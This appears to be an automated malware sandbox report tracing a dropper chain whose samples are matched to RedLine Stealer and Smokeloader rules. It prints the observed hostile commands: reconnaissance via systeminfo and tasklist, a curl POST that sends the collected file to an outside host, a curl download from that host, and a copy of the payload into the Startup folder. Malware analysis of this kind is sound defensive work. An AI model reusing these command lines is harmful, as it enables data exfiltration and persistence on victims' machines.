Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: 0_2_006C779B	0_2_006C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00758860	1_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00757049	1_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_007578BB	1_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_007531A8	1_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00714B30	1_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00752D10	1_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00714DE0	1_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00747F36	1_2_00747F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0075779B	1_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00758860	2_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00757049	2_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007578BB	2_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007531A8	2_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00714B30	2_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00752D10	2_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00714DE0	2_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00747F36	2_2_00747F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0075779B	2_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0071E530	6_2_0071E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00736192	6_2_00736192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00758860	6_2_00758860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00714B30	6_2_00714B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00752D10	6_2_00752D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00714DE0	6_2_00714DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00730E13	6_2_00730E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00757049	6_2_00757049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007531A8	6_2_007531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00731602	6_2_00731602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0075779B	6_2_0075779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007578BB	6_2_007578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00733DF1	6_2_00733DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00747F36	6_2_00747F36
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A217D0	7_2_00A217D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A21000	7_2_00A21000
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A31A10	7_2_00A31A10
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A30422	7_2_00A30422
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A23C05	7_2_00A23C05
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A25C52	7_2_00A25C52
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 7_2_00A3566E	7_2_00A3566E
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0040A960	9_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004087F0	9_2_004087F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00436F90	9_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00425F7D	9_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00409070	9_2_00409070
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043A030	9_2_0043A030
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004038C0	9_2_004038C0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004380D9	9_2_004380D9
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041D8E0	9_2_0041D8E0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042D085	9_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004280B0	9_2_004280B0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00426170	9_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042297F	9_2_0042297F
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042A100	9_2_0042A100
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00437900	9_2_00437900
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00416E97	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00405910	9_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00425920	9_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004301D0	9_2_004301D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004081F0	9_2_004081F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00408990	9_2_00408990
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00417190	9_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00414A40	9_2_00414A40
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041BA48	9_2_0041BA48
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0040CA54	9_2_0040CA54
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00404270	9_2_00404270
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00422270	9_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00406200	9_2_00406200
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00423A00	9_2_00423A00
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CAC0	9_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043E2C0	9_2_0043E2C0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004292D0	9_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00415ADC	9_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042BA8D	9_2_0042BA8D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0040E2A9	9_2_0040E2A9
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004192BA	9_2_004192BA
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0040B351	9_2_0040B351
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041CB5A	9_2_0041CB5A
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00409360	9_2_00409360
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041C360	9_2_0041C360
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00416B7E	9_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00411B1B	9_2_00411B1B
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043533A	9_2_0043533A
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CBD6	9_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043A3F0	9_2_0043A3F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00439B90	9_2_00439B90
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00404BA0	9_2_00404BA0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004233A0	9_2_004233A0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00436C40	9_2_00436C40
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0040D44C	9_2_0040D44C
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00434C4D	9_2_00434C4D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00407470	9_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00419C10	9_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00418C1E	9_2_00418C1E
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041D420	9_2_0041D420
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041DC20	9_2_0041DC20
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00436430	9_2_00436430
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CCE0	9_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043DCF0	9_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00422CF8	9_2_00422CF8
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00427C9D	9_2_00427C9D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CD60	9_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00416571	9_2_00416571
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00423D30	9_2_00423D30
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004215F0	9_2_004215F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041DE40	9_2_0041DE40
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00412670	9_2_00412670
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00425670	9_2_00425670
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041AE00	9_2_0041AE00
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043CE00	9_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00423E30	9_2_00423E30
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004156D0	9_2_004156D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042C6D7	9_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00415EE0	9_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004266E7	9_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00406690	9_2_00406690
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043E690	9_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00436690	9_2_00436690
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00416E97	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00402EA0	9_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004376B0	9_2_004376B0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00426EBE	9_2_00426EBE
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00428F5D	9_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042B763	9_2_0042B763
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00425F7D	9_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00414F08	9_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00420717	9_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00418731	9_2_00418731
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0041EF30	9_2_0041EF30
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042BFD3	9_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00410FD6	9_2_00410FD6
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0042BFDA	9_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004167A5	9_2_004167A5
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00418FAD	9_2_00418FAD
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_004097B0	9_2_004097B0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_0043DFB0	9_2_0043DFB0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A21000	9_2_00A21000
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A31A10	9_2_00A31A10
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A30422	9_2_00A30422
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A23C05	9_2_00A23C05
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A25C52	9_2_00A25C52
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A3566E	9_2_00A3566E
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 9_2_00A217D0	9_2_00A217D0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00748E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007280C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0072D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00727A00 appears 38 times
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Code function: String function: 006980C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: String function: 00A29DFF appears 36 times
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: String function: 00408000 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: String function: 00A23BC0 appears 67 times

Source: random[1].exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 87538ab999.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: yiDQb6GkBq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000026.00000002.3076985915.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: 6f79b29ee1.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 6f79b29ee1.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: c7017f8470.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: c7017f8470.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe2.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe2.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388

Source: tmp.txt.11.dr

Binary string: Boot Device: \Device\HarddiskVolume1

Source: classification engine

Classification label: mal100.spre.troj.adwa.spyw.evad.winEXE@69/22@113/8

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_00436F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

9_2_00436F90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5768:120:WilError_03

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\tmp.bat" > C:\Users\user\AppData\Local\Temp\tmp.txt

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6f79b29ee1.exe, 00000027.00000003.3014086036.00000000039CC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: yiDQb6GkBq.exe

ReversingLabs: Detection: 57%

Source: yiDQb6GkBq.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: yiDQb6GkBq.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: yiDQb6GkBq.exe	String found in binary or memory: RRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeV

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

File read: C:\Users\user\Desktop\yiDQb6GkBq.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yiDQb6GkBq.exe "C:\Users\user\Desktop\yiDQb6GkBq.exe"
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Process created: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe "C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe"
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\user\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\curl.exe curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32" -H "X-Sec-Id: 3" -Lo "C:\Users\user\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c type "C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
